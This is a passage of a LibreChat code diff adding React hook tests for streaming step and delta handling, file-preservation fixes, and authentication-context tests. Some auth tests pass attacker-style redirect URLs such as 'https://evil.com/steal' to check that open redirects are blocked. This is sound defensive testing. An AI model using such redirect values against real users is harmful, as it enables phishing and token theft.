mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0]; + const responseMsg = lastCall[lastCall.length - 1]; + expect(responseMsg.content).toContainEqual( + expect.objectContaining({ type: ContentTypes.THINK, think: 'First thought' }), + ); + }); + }); + + describe('on_run_step_delta event', () => { + it('should update tool call with delta args', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createToolCallRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + mockSetMessages.mockClear(); + + const runStepDelta: Agents.RunStepDeltaEvent = { + id: 'step-tool-1', + delta: { + type: StepTypes.TOOL_CALLS, + tool_calls: [{ name: 'test_tool', args: '{"key": "value"}' }], + }, + }; + + act(() => { + result.current.stepHandler({ event: 'on_run_step_delta', data: runStepDelta }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + }); + + it('should buffer run step delta when step does not exist', () => { + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStepDelta: Agents.RunStepDeltaEvent = { + id: 'nonexistent-step', + delta: { + type: StepTypes.TOOL_CALLS, + tool_calls: [{ name: 'test_tool', args: '{}' }], + }, + }; + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step_delta', data: runStepDelta }, submission); + }); + + expect(mockSetMessages).not.toHaveBeenCalled(); + }); + + it('should handle auth information in run step delta', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createToolCallRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + mockSetMessages.mockClear(); + + const runStepDelta: Agents.RunStepDeltaEvent = { + id: 'step-tool-1', + delta: { + type: StepTypes.TOOL_CALLS, + tool_calls: [{ name: 'test_tool', args: '{}' }], + auth: 'oauth-token-123', + expires_at: 1704067200, + }, + }; + + act(() => { + result.current.stepHandler({ event: 'on_run_step_delta', data: runStepDelta }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0]; + const responseMsg = lastCall.find((m: TMessage) => !m.isCreatedByUser); + const toolCallContent = responseMsg?.content?.find( + (c: TMessageContentParts) => c.type === ContentTypes.TOOL_CALL, + ); + expect(toolCallContent?.tool_call?.auth).toEqual('oauth-token-123'); + }); + }); + + describe('on_run_step_completed event', () => { + it('should finalize tool call with output', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createToolCallRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + mockSetMessages.mockClear(); + + const completedEvent = { + result: { + id: 'step-tool-1', + index: 0, + tool_call: { + id: 'tool-call-1', + name: 'test_tool', + args: '{}', + output: 'Tool result output', + type: ToolCallTypes.TOOL_CALL, + }, + }, + }; + + act(() => { + result.current.stepHandler( + { + event: 'on_run_step_completed', + data: completedEvent as unknown as Agents.ToolEndEvent, + }, + submission, + ); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0]; + const responseMsg = lastCall.find((m: TMessage) => !m.isCreatedByUser); + const toolCallContent = responseMsg?.content?.find( + (c: TMessageContentParts) => c.type === ContentTypes.TOOL_CALL, + ); + expect(toolCallContent?.tool_call?.output).toBe('Tool result output'); + expect(toolCallContent?.tool_call?.progress).toBe(1); + }); + + it('should warn when step not found for completed event', () => { + const consoleSpy = jest.spyOn(console, 'warn').mockImplementation(); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const completedEvent = { + result: { + id: 'nonexistent-step', + index: 0, + tool_call: { + id: 'tool-call-1', + name: 'test_tool', + args: '{}', + type: ToolCallTypes.TOOL_CALL, + }, + }, + }; + const submission = createSubmission(); + + act(() => { + result.current.stepHandler( + { + event: 'on_run_step_completed', + data: completedEvent as unknown as Agents.ToolEndEvent, + }, + submission, + ); + }); + + expect(consoleSpy).toHaveBeenCalledWith( + 'No run step or runId found for completed tool call event', + ); + consoleSpy.mockRestore(); + }); + }); + + describe('clearStepMaps', () => { + it('should clear all internal maps', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + act(() => { + result.current.clearStepMaps(); + }); + + mockSetMessages.mockClear(); + + act(() => { + result.current.stepHandler( + { event: 'on_message_delta', data: createMessageDelta('step-1', 'Test') }, + submission, + ); + }); + + expect(mockSetMessages).not.toHaveBeenCalled(); + }); + }); + + describe('syncStepMessage', () => { + it('should sync message into messageMap', () => { + const responseMessage = createResponseMessage({ + content: [{ type: ContentTypes.TEXT, text: 'Synced content' }], + }); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + act(() => { + result.current.syncStepMessage(responseMessage); + }); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + act(() => { + result.current.stepHandler( + { event: 'on_message_delta', data: createMessageDelta('step-1', ' more') }, + submission, + ); + }); + + const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0]; + const responseMsg = lastCall[lastCall.length - 1]; + expect(responseMsg.content).toContainEqual( + expect.objectContaining({ type: ContentTypes.TEXT, text: 'Synced content more' }), + ); + }); + + it('should handle null message gracefully', () => { + const { result } = renderHook(() => useStepHandler(createHookParams())); + + expect(() => { + act(() => { + result.current.syncStepMessage(null as unknown as TMessage); + }); + }).not.toThrow(); + }); + + it('should handle message without messageId gracefully', () => { + const { result } = renderHook(() => useStepHandler(createHookParams())); + + expect(() => { + act(() => { + result.current.syncStepMessage({ ...createResponseMessage(), messageId: '' }); + }); + }).not.toThrow(); + }); + }); + + describe('announcePolite for accessibility', () => { + it('should announce composing after MESSAGE_UPDATE_INTERVAL', () => { + const MESSAGE_UPDATE_INTERVAL = 7000; + mockLastAnnouncementTimeRef.current = Date.now() - MESSAGE_UPDATE_INTERVAL - 1; + + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + expect(mockAnnouncePolite).toHaveBeenCalledWith({ message: 'composing', isStatus: true }); + }); + + it('should not announce if within MESSAGE_UPDATE_INTERVAL', () => { + mockLastAnnouncementTimeRef.current = Date.now(); + + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + expect(mockAnnouncePolite).not.toHaveBeenCalled(); + }); + }); + + describe('edited content scenarios', () => { + it('should use initialResponse content for index offsetting in edit scenarios', () => { + const existingContent: TMessageContentParts[] = [ + { type: ContentTypes.TEXT, text: 'Previous content' }, + ]; + const initialResponse = createResponseMessage({ + messageId: 'initial-response-id', + content: existingContent, + }); + mockGetMessages.mockReturnValue([initialResponse]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep({ + runId: 'initial-response-id', + index: 0, + }); + const submission = createSubmission({ + editedContent: { index: 0, type: ContentTypes.TEXT, text: 'Previous content' }, + initialResponse, + }); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + }); + }); + + describe('delta buffering and replay', () => { + it('should buffer multiple deltas and replay in order', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const submission = createSubmission(); + const stepId = 'step-multi-buffer'; + + act(() => { + result.current.stepHandler( + { event: 'on_message_delta', data: createMessageDelta(stepId, 'First ') }, + submission, + ); + result.current.stepHandler( + { event: 'on_message_delta', data: createMessageDelta(stepId, 'Second ') }, + submission, + ); + result.current.stepHandler( + { event: 'on_message_delta', data: createMessageDelta(stepId, 'Third') }, + submission, + ); + }); + + expect(mockSetMessages).not.toHaveBeenCalled(); + + const runStep = createRunStep({ id: stepId }); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + const lastCall = mockSetMessages.mock.calls[mockSetMessages.mock.calls.length - 1][0]; + const responseMsg = lastCall.find((m: TMessage) => !m.isCreatedByUser); + expect(responseMsg?.content).toContainEqual( + expect.objectContaining({ type: ContentTypes.TEXT, text: 'First Second Third' }), + ); + }); + + it('should buffer mixed delta types and replay correctly', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const submission = createSubmission(); + const stepId = 'step-mixed-buffer'; + + act(() => { + result.current.stepHandler( + { event: 'on_reasoning_delta', data: createReasoningDelta(stepId, 'Thinking...') }, + submission, + ); + result.current.stepHandler( + { event: 'on_message_delta', data: createMessageDelta(stepId, 'Response') }, + submission, + ); + }); + + expect(mockSetMessages).not.toHaveBeenCalled(); + + const runStep = createRunStep({ id: stepId }); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + }); + }); + + describe('content type mismatch handling', () => { + it('should warn on content type mismatch and not overwrite', () => { + const consoleSpy = jest.spyOn(console, 'warn').mockImplementation(); + + const responseMessage = createResponseMessage({ + content: [{ type: ContentTypes.THINK, think: 'Existing thought' }], + }); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + act(() => { + result.current.syncStepMessage(responseMessage); + }); + + const runStep = createRunStep({ index: 0 }); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + const textDelta: Agents.MessageDeltaEvent = { + id: 'step-1', + delta: { content: [{ type: ContentTypes.TEXT, text: 'New text' }] }, + }; + + act(() => { + result.current.stepHandler({ event: 'on_message_delta', data: textDelta }, submission); + }); + + expect(consoleSpy).toHaveBeenCalledWith( + 'Content type mismatch', + expect.objectContaining({ + existingType: ContentTypes.THINK, + contentType: ContentTypes.TEXT, + }), + ); + consoleSpy.mockRestore(); + }); + }); + + describe('edge cases', () => { + it('should handle empty messages array', () => { + mockGetMessages.mockReturnValue([]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + }); + + it('should handle undefined messages from getMessages', () => { + mockGetMessages.mockReturnValue(undefined); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + }); + + it('should handle delta with array content', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + const messageDelta: Agents.MessageDeltaEvent = { + id: 'step-1', + delta: { + content: [ + { type: ContentTypes.TEXT, text: 'First' }, + { type: ContentTypes.TEXT, text: 'Second' }, + ], + }, + }; + + act(() => { + result.current.stepHandler({ event: 'on_message_delta', data: messageDelta }, submission); + }); + + expect(mockSetMessages).toHaveBeenCalled(); + }); + + it('should handle message delta without content', () => { + const responseMessage = createResponseMessage(); + mockGetMessages.mockReturnValue([responseMessage]); + + const { result } = renderHook(() => useStepHandler(createHookParams())); + + const runStep = createRunStep(); + const submission = createSubmission(); + + act(() => { + result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission); + }); + + mockSetMessages.mockClear(); + + const messageDelta: Agents.MessageDeltaEvent = { + id: 'step-1', + delta: {}, + }; + + act(() => { + result.current.stepHandler({ event: 'on_message_delta', data: messageDelta }, submission); + }); + + expect(mockSetMessages).not.toHaveBeenCalled(); + }); + }); +}); diff --git a/client/src/hooks/SSE/useAttachmentHandler.ts b/client/src/hooks/SSE/useAttachmentHandler.ts index 8ac9f35eb2..06261f4af6 100644 --- a/client/src/hooks/SSE/useAttachmentHandler.ts +++ b/client/src/hooks/SSE/useAttachmentHandler.ts @@ -1,7 +1,12 @@ import { useSetRecoilState } from 'recoil'; import type { QueryClient } from '@tanstack/react-query'; import { QueryKeys, Tools } from 'librechat-data-provider'; -import type { TAttachment, EventSubmission, MemoriesResponse } from 'librechat-data-provider'; +import type { + MemoriesResponse, + EventSubmission, + TAttachment, + TFile, +} from 'librechat-data-provider'; import { handleMemoryArtifact } from '~/utils/memory'; import store from '~/store'; @@ -11,9 +16,24 @@ export default function useAttachmentHandler(queryClient?: QueryClient) { return ({ data }: { data: TAttachment; submission: EventSubmission }) => { const { messageId } = data; - if (queryClient && data?.filepath && !data.filepath.includes('/api/files')) { - queryClient.setQueryData([QueryKeys.files], (oldData: TAttachment[] | undefined) => { - return [data, ...(oldData || [])]; + const fileData = data as TFile; + if ( + queryClient && + fileData?.file_id && + fileData?.filepath && + !fileData.filepath.includes('/api/files') + ) { + queryClient.setQueryData([QueryKeys.files], (oldData: TFile[] | undefined) => { + if (!oldData) { + return [fileData]; + } + const existingIndex = oldData.findIndex((file) => file.file_id === fileData.file_id); + if (existingIndex > -1) { + const updated = [...oldData]; + updated[existingIndex] = { ...oldData[existingIndex], ...fileData }; + return updated; + } + return [fileData, ...oldData]; }); } diff --git a/client/src/hooks/SSE/useEventHandlers.ts b/client/src/hooks/SSE/useEventHandlers.ts index 9f809bd6c1..325ee97315 100644 --- a/client/src/hooks/SSE/useEventHandlers.ts +++ b/client/src/hooks/SSE/useEventHandlers.ts @@ -526,6 +526,23 @@ export default function useEventHandlers({ } else if (requestMessage != null && responseMessage != null) { finalMessages = [...messages, requestMessage, responseMessage]; } + + /* Preserve files from current messages when server response lacks them */ + if (finalMessages.length > 0) { + const currentMsgMap = new Map( + currentMessages + .filter((m) => m.files && m.files.length > 0) + .map((m) => [m.messageId, m.files]), + ); + for (let i = 0; i < finalMessages.length; i++) { + const msg = finalMessages[i]; + const preservedFiles = currentMsgMap.get(msg.messageId); + if (msg.files == null && preservedFiles) { + finalMessages[i] = { ...msg, files: preservedFiles }; + } + } + } + if (finalMessages.length > 0) { setFinalMessages(conversation.conversationId, finalMessages); } else if ( diff --git a/client/src/hooks/SSE/useStepHandler.ts b/client/src/hooks/SSE/useStepHandler.ts index cb4de3739c..c3b48cb107 100644 --- a/client/src/hooks/SSE/useStepHandler.ts +++ b/client/src/hooks/SSE/useStepHandler.ts @@ -31,6 +31,8 @@ type TStepEvent = { event: string; data: | Agents.MessageDeltaEvent + | Agents.ReasoningDeltaEvent + | Agents.RunStepDeltaEvent | Agents.AgentUpdate | Agents.RunStep | Agents.ToolEndEvent @@ -61,6 +63,8 @@ export default function useStepHandler({ const toolCallIdMap = useRef(new Map()); const messageMap = useRef(new Map()); const stepMap = useRef(new Map()); + /** Buffer for deltas that arrive before their corresponding run step */ + const pendingDeltaBuffer = useRef(new Map()); /** * Calculate content index for a run step. @@ -107,7 +111,7 @@ export default function useStepHandler({ const updatedContent = [...(message.content || [])] as Array< Partial | undefined >; - if (!updatedContent[index]) { + if (!updatedContent[index] && contentType !== ContentTypes.TOOL_CALL) { updatedContent[index] = { type: contentPart.type as AllContentTypes }; } @@ -350,6 +354,14 @@ export default function useStepHandler({ setMessages(updatedMessages); } + + const bufferedDeltas = pendingDeltaBuffer.current.get(runStep.id); + if (bufferedDeltas && bufferedDeltas.length > 0) { + pendingDeltaBuffer.current.delete(runStep.id); + for (const bufferedDelta of bufferedDeltas) { + stepHandler({ event: bufferedDelta.event, data: bufferedDelta.data }, submission); + } + } } else if (event === 'on_agent_update') { const { agent_update } = data as Agents.AgentUpdate; let responseMessageId = agent_update.runId || ''; @@ -391,7 +403,9 @@ export default function useStepHandler({ } if (!runStep || !responseMessageId) { - console.warn('No run step or runId found for message delta event'); + const buffer = pendingDeltaBuffer.current.get(messageDelta.id) ?? []; + buffer.push({ event: 'on_message_delta', data: messageDelta }); + pendingDeltaBuffer.current.set(messageDelta.id, buffer); return; } @@ -432,7 +446,9 @@ export default function useStepHandler({ } if (!runStep || !responseMessageId) { - console.warn('No run step or runId found for reasoning delta event'); + const buffer = pendingDeltaBuffer.current.get(reasoningDelta.id) ?? []; + buffer.push({ event: 'on_reasoning_delta', data: reasoningDelta }); + pendingDeltaBuffer.current.set(reasoningDelta.id, buffer); return; } @@ -473,7 +489,9 @@ export default function useStepHandler({ } if (!runStep || !responseMessageId) { - console.warn('No run step or runId found for run step delta event'); + const buffer = pendingDeltaBuffer.current.get(runStepDelta.id) ?? []; + buffer.push({ event: 'on_run_step_delta', data: runStepDelta }); + pendingDeltaBuffer.current.set(runStepDelta.id, buffer); return; } @@ -578,6 +596,7 @@ export default function useStepHandler({ toolCallIdMap.current.clear(); messageMap.current.clear(); stepMap.current.clear(); + pendingDeltaBuffer.current.clear(); }, []); /** diff --git a/client/src/hooks/Sharing/useCanSharePublic.ts b/client/src/hooks/Sharing/useCanSharePublic.ts index 699ccc9e73..54355dd9a8 100644 --- a/client/src/hooks/Sharing/useCanSharePublic.ts +++ b/client/src/hooks/Sharing/useCanSharePublic.ts @@ -1,10 +1,11 @@ import { ResourceType, PermissionTypes, Permissions } from 'librechat-data-provider'; import { useHasAccess } from '~/hooks'; -const resourceToPermissionMap: Record = { +const resourceToPermissionMap: Partial> = { [ResourceType.AGENT]: PermissionTypes.AGENTS, [ResourceType.PROMPTGROUP]: PermissionTypes.PROMPTS, [ResourceType.MCPSERVER]: PermissionTypes.MCP_SERVERS, + [ResourceType.REMOTE_AGENT]: PermissionTypes.REMOTE_AGENTS, }; /** diff --git a/client/src/hooks/__tests__/AuthContext.spec.tsx b/client/src/hooks/__tests__/AuthContext.spec.tsx new file mode 100644 index 0000000000..10a0ee3340 --- /dev/null +++ b/client/src/hooks/__tests__/AuthContext.spec.tsx @@ -0,0 +1,447 @@ +/** + * @jest-environment @happy-dom/jest-environment + */ +import React from 'react'; +import { render, act } from '@testing-library/react'; +import { RecoilRoot } from 'recoil'; +import { QueryClient, QueryClientProvider } from '@tanstack/react-query'; +import { MemoryRouter } from 'react-router-dom'; + +import type { TAuthConfig } from '~/common'; + +import { AuthContextProvider, useAuthContext } from '../AuthContext'; +import { SESSION_KEY } from '~/utils'; + +const mockNavigate = jest.fn(); +jest.mock('react-router-dom', () => ({ + ...jest.requireActual('react-router-dom'), + useNavigate: () => mockNavigate, +})); + +const mockApiBaseUrl = jest.fn(() => ''); + +jest.mock('librechat-data-provider', () => ({ + ...jest.requireActual('librechat-data-provider'), + setTokenHeader: jest.fn(), + apiBaseUrl: () => mockApiBaseUrl(), +})); + +let mockCapturedLoginOptions: { + onSuccess: (...args: unknown[]) => void; + onError: (...args: unknown[]) => void; +}; + +let mockCapturedLogoutOptions: { + onSuccess: (...args: unknown[]) => void; + onError: (...args: unknown[]) => void; +}; + +const mockRefreshMutate = jest.fn(); + +jest.mock('~/data-provider', () => ({ + useLoginUserMutation: jest.fn( + (options: { + onSuccess: (...args: unknown[]) => void; + onError: (...args: unknown[]) => void; + }) => { + mockCapturedLoginOptions = options; + return { mutate: jest.fn() }; + }, + ), + useLogoutUserMutation: jest.fn( + (options: { + onSuccess: (...args: unknown[]) => void; + onError: (...args: unknown[]) => void; + }) => { + mockCapturedLogoutOptions = options; + return { mutate: jest.fn() }; + }, + ), + useRefreshTokenMutation: jest.fn(() => ({ mutate: mockRefreshMutate })), + useGetUserQuery: jest.fn(() => ({ + data: undefined, + isError: false, + error: null, + })), + useGetRole: jest.fn(() => ({ data: null })), +})); + +const authConfig: TAuthConfig = { loginRedirect: '/login', test: true }; + +function TestConsumer() { + const ctx = useAuthContext(); + return
; +} + +function renderProvider() { + const queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, + }); + + return render( + + + + + + + + + , + ); +} + +/** Renders without test:true so silentRefresh actually runs */ +function renderProviderLive() { + const queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, + }); + + return render( + + + + + + + + + , + ); +} + +describe('AuthContextProvider — login onError redirect handling', () => { + beforeEach(() => { + jest.clearAllMocks(); + window.history.replaceState({}, '', '/login'); + }); + + afterEach(() => { + window.history.replaceState({}, '', '/'); + }); + + it('preserves a valid redirect_to param across login failure', () => { + window.history.replaceState({}, '', '/login?redirect_to=%2Fc%2Fabc123'); + + renderProvider(); + + act(() => { + mockCapturedLoginOptions.onError({ message: 'Invalid credentials' }); + }); + + expect(mockNavigate).toHaveBeenCalledWith('/login?redirect_to=%2Fc%2Fabc123', { + replace: true, + }); + }); + + it('drops redirect_to when it contains an absolute URL (open-redirect prevention)', () => { + window.history.replaceState({}, '', '/login?redirect_to=https%3A%2F%2Fevil.com'); + + renderProvider(); + + act(() => { + mockCapturedLoginOptions.onError({ message: 'Invalid credentials' }); + }); + + expect(mockNavigate).toHaveBeenCalledWith('/login', { replace: true }); + }); + + it('drops redirect_to when it points to /login (recursive redirect prevention)', () => { + window.history.replaceState({}, '', '/login?redirect_to=%2Flogin'); + + renderProvider(); + + act(() => { + mockCapturedLoginOptions.onError({ message: 'Invalid credentials' }); + }); + + expect(mockNavigate).toHaveBeenCalledWith('/login', { replace: true }); + }); + + it('navigates to plain /login when no redirect_to param exists', () => { + renderProvider(); + + act(() => { + mockCapturedLoginOptions.onError({ message: 'Server error' }); + }); + + expect(mockNavigate).toHaveBeenCalledWith('/login', { replace: true }); + }); + + it('preserves redirect_to with query params and hash', () => { + const target = '/c/abc123?model=gpt-4#section'; + window.history.replaceState({}, '', `/login?redirect_to=${encodeURIComponent(target)}`); + + renderProvider(); + + act(() => { + mockCapturedLoginOptions.onError({ message: 'Invalid credentials' }); + }); + + const navigatedUrl = mockNavigate.mock.calls[0][0] as string; + const params = new URLSearchParams(navigatedUrl.split('?')[1]); + expect(decodeURIComponent(params.get('redirect_to')!)).toBe(target); + }); +}); + +describe('AuthContextProvider — logout onSuccess/onError handling', () => { + const mockSetTokenHeader = jest.requireMock('librechat-data-provider').setTokenHeader; + + beforeEach(() => { + jest.clearAllMocks(); + window.history.replaceState({}, '', '/c/some-chat'); + }); + + afterEach(() => { + window.history.replaceState({}, '', '/'); + }); + + it('calls window.location.replace and setTokenHeader(undefined) when redirect is present', () => { + const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {}); + + renderProvider(); + + act(() => { + mockCapturedLogoutOptions.onSuccess({ + message: 'Logout successful', + redirect: 'https://idp.example.com/logout?id_token_hint=abc', + }); + }); + + expect(replaceSpy).toHaveBeenCalledWith('https://idp.example.com/logout?id_token_hint=abc'); + expect(mockSetTokenHeader).toHaveBeenCalledWith(undefined); + }); + + it('does not call window.location.replace when redirect is absent', async () => { + const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {}); + + renderProvider(); + + act(() => { + mockCapturedLogoutOptions.onSuccess({ message: 'Logout successful' }); + }); + + expect(replaceSpy).not.toHaveBeenCalled(); + }); + + it('does not trigger silentRefresh after OIDC redirect', () => { + const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {}); + + renderProviderLive(); + mockRefreshMutate.mockClear(); + + act(() => { + mockCapturedLogoutOptions.onSuccess({ + message: 'Logout successful', + redirect: 'https://idp.example.com/logout?id_token_hint=abc', + }); + }); + + expect(replaceSpy).toHaveBeenCalled(); + expect(mockRefreshMutate).not.toHaveBeenCalled(); + }); +}); + +describe('AuthContextProvider — silentRefresh post-login redirect', () => { + beforeEach(() => { + jest.clearAllMocks(); + sessionStorage.clear(); + }); + + afterEach(() => { + sessionStorage.clear(); + window.history.replaceState({}, '', '/'); + }); + + it('navigates to stored sessionStorage redirect after successful token refresh', () => { + jest.useFakeTimers(); + sessionStorage.setItem(SESSION_KEY, '/c/new?endpoint=bedrock&model=claude-sonnet-4-6'); + + renderProviderLive(); + + expect(mockRefreshMutate).toHaveBeenCalledTimes(1); + const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [ + unknown, + { onSuccess: (data: unknown) => void }, + ]; + + act(() => { + refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' }); + }); + act(() => { + jest.advanceTimersByTime(100); + }); + + expect(mockNavigate).toHaveBeenCalledWith('/c/new?endpoint=bedrock&model=claude-sonnet-4-6', { + replace: true, + }); + expect(sessionStorage.getItem(SESSION_KEY)).toBeNull(); + jest.useRealTimers(); + }); + + it('navigates to current URL when no stored redirect exists', () => { + jest.useFakeTimers(); + window.history.replaceState({}, '', '/c/new'); + + renderProviderLive(); + + expect(mockRefreshMutate).toHaveBeenCalledTimes(1); + const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [ + unknown, + { onSuccess: (data: unknown) => void }, + ]; + + act(() => { + refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' }); + }); + act(() => { + jest.advanceTimersByTime(100); + }); + + expect(mockNavigate).toHaveBeenCalledWith('/c/new', { replace: true }); + jest.useRealTimers(); + }); + + it('does not re-trigger silentRefresh after successful redirect', () => { + jest.useFakeTimers(); + sessionStorage.setItem(SESSION_KEY, '/c/abc?endpoint=bedrock'); + + renderProviderLive(); + + expect(mockRefreshMutate).toHaveBeenCalledTimes(1); + const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [ + unknown, + { onSuccess: (data: unknown) => void }, + ]; + mockRefreshMutate.mockClear(); + + act(() => { + refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' }); + }); + act(() => { + jest.advanceTimersByTime(100); + }); + + expect(mockNavigate).toHaveBeenCalledTimes(1); + expect(mockNavigate).toHaveBeenCalledWith('/c/abc?endpoint=bedrock', { replace: true }); + expect(mockRefreshMutate).not.toHaveBeenCalled(); + jest.useRealTimers(); + }); + + it('falls back to current URL for unsafe stored redirect', () => { + jest.useFakeTimers(); + window.history.replaceState({}, '', '/c/new'); + sessionStorage.setItem(SESSION_KEY, 'https://evil.com/steal'); + + renderProviderLive(); + + expect(mockRefreshMutate).toHaveBeenCalledTimes(1); + const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [ + unknown, + { onSuccess: (data: unknown) => void }, + ]; + + act(() => { + refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' }); + }); + act(() => { + jest.advanceTimersByTime(100); + }); + + expect(mockNavigate).toHaveBeenCalledWith('/c/new', { replace: true }); + expect(mockNavigate).not.toHaveBeenCalledWith('https://evil.com/steal', expect.anything()); + expect(sessionStorage.getItem(SESSION_KEY)).toBeNull(); + jest.useRealTimers(); + }); +}); + +describe('AuthContextProvider — silentRefresh subdirectory deployment', () => { + beforeEach(() => { + jest.clearAllMocks(); + sessionStorage.clear(); + mockApiBaseUrl.mockReturnValue('/chat'); + }); + + afterEach(() => { + mockApiBaseUrl.mockReturnValue(''); + sessionStorage.clear(); + window.history.replaceState({}, '', '/'); + }); + + it('strips base path from window.location.pathname before navigating (prevents /chat/chat doubling)', () => { + jest.useFakeTimers(); + window.history.replaceState({}, '', '/chat/c/abc123?model=gpt-4'); + + renderProviderLive(); + + expect(mockRefreshMutate).toHaveBeenCalledTimes(1); + const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [ + unknown, + { onSuccess: (data: unknown) => void }, + ]; + + act(() => { + refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' }); + }); + act(() => { + jest.advanceTimersByTime(100); + }); + + expect(mockNavigate).toHaveBeenCalledWith('/c/abc123?model=gpt-4', { replace: true }); + expect(mockNavigate).not.toHaveBeenCalledWith( + expect.stringContaining('/chat/c/'), + expect.anything(), + ); + jest.useRealTimers(); + }); + + it('falls back to root when window.location.pathname equals the base path', () => { + jest.useFakeTimers(); + window.history.replaceState({}, '', '/chat'); + + renderProviderLive(); + + const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [ + unknown, + { onSuccess: (data: unknown) => void }, + ]; + + act(() => { + refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' }); + }); + act(() => { + jest.advanceTimersByTime(100); + }); + + expect(mockNavigate).toHaveBeenCalledWith('/', { replace: true }); + jest.useRealTimers(); + }); +}); + +describe('AuthContextProvider — logout error handling', () => { + beforeEach(() => { + jest.clearAllMocks(); + window.history.replaceState({}, '', '/c/some-chat'); + }); + + afterEach(() => { + window.history.replaceState({}, '', '/'); + }); + + it('clears auth state on logout error without external redirect', () => { + jest.useFakeTimers(); + const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {}); + const { getByTestId } = renderProvider(); + + act(() => { + mockCapturedLogoutOptions.onError(new Error('Logout failed')); + }); + act(() => { + jest.advanceTimersByTime(100); + }); + + expect(replaceSpy).not.toHaveBeenCalled(); + expect(getByTestId('consumer').getAttribute('data-authenticated')).toBe('false'); + jest.useRealTimers(); + }); +}); diff --git 